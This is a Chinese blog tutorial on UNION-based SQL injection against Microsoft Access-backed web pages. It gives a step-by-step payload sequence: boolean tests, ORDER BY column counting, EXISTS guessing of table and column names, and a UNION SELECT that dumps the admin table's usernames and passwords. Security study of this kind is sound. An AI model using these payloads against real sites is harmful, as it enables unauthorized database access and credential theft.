access注入 - 联合查询
2024-09-05 02:08:35
1、access数据库简介
- 简介:Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。
2、access联合注入思路
- 判断注入点
- 确定对应表的字段数量
- 猜表名
- 判断其显示位
- 猜列名
- 爆出数据
3、注入步骤演示
3.1、判断注入点:
- 首先我们要判断该注入点是哪一种注入类型
- 数字型注入:
- ?id=1 and 1=1
- ?id=1 and 1=2
- 字符型注入:
- ?id=1' and 1=1 #
- ?id=1' and 1=2#
- 数字型注入:
- ?id=1142 and 1=1 --- 页面显示正常
- ?id=1142 and 1=2 --- 页面显示不正常
- 说明该注入点是数字型注入
3.2、爆字段数量:
- ?id=1142 order by 22 ---- 页面不报错
- ?id=1142 order by 23 ---- 页面报错
- 说当前表的字段数量为22
3.3、爆表名:
- 由于access的系统表不像mysql一样具有系统索引库,所以表名和列名都只能靠猜。。。如果通过社工、工具、经验(比如看后台源码的表单名字)都搞不出来的话,就只能通过偏移来试试运气了
- ?id=1142 and exists (select from admin) --比较幸运的是,这里猜对了
3.4、判断其显示位
- ?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
- 发现页面只显示了3和15,说明只有在这两个位置中,从数据库查询到的数据才可以在页面上进行输出
3.5、猜列名
- 同猜表名
- and exists (select admin,password from admin)
- 若输出正常说明表admin存在admin和password两个字段
3.6、爆出数据
- 我们已经有上述步骤猜解出了表名和相应的字段名,接下来只需进行联合查询即可。
- ?id=1142 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
最新文章
- hibernate 多表查询
- [Linux] - centos使用mount + nfs 远程共享存储
- 传统MySQL+ Memcached架构遇到的问题
- js学习-自定义函数、对象的字面量、json对象学习小结
- baidu时光轴_使用window.scroll实现的
- python学习之最简单的获取本机ip信息的小程序
- 31-View如何从Action取得数据
- 【Linux】部署apache
- 一.oracle的SQL中group by使用的情况(与聚合函数的关系)
- Jquery html页面处理基础
- 理解并解决GBK转UTF-8奇数中文乱码(转)
- 修改MYSQL的默认连接时长
- SSO 基于CAS实现单点登录 实例解析(二)
- 温度转换 II
- xml方式将dataset导出excel
- RN项目中使用react-native-elements报错: Unrecognized font family 'Material Icons'
- 水题系列二:PhoneNumbers
- Unity3d代码及效率优化总结
- slenium使用鼠标+键盘事件或者双击实现代码
- .18-浅析webpack源码之compile流程-rules参数处理(1)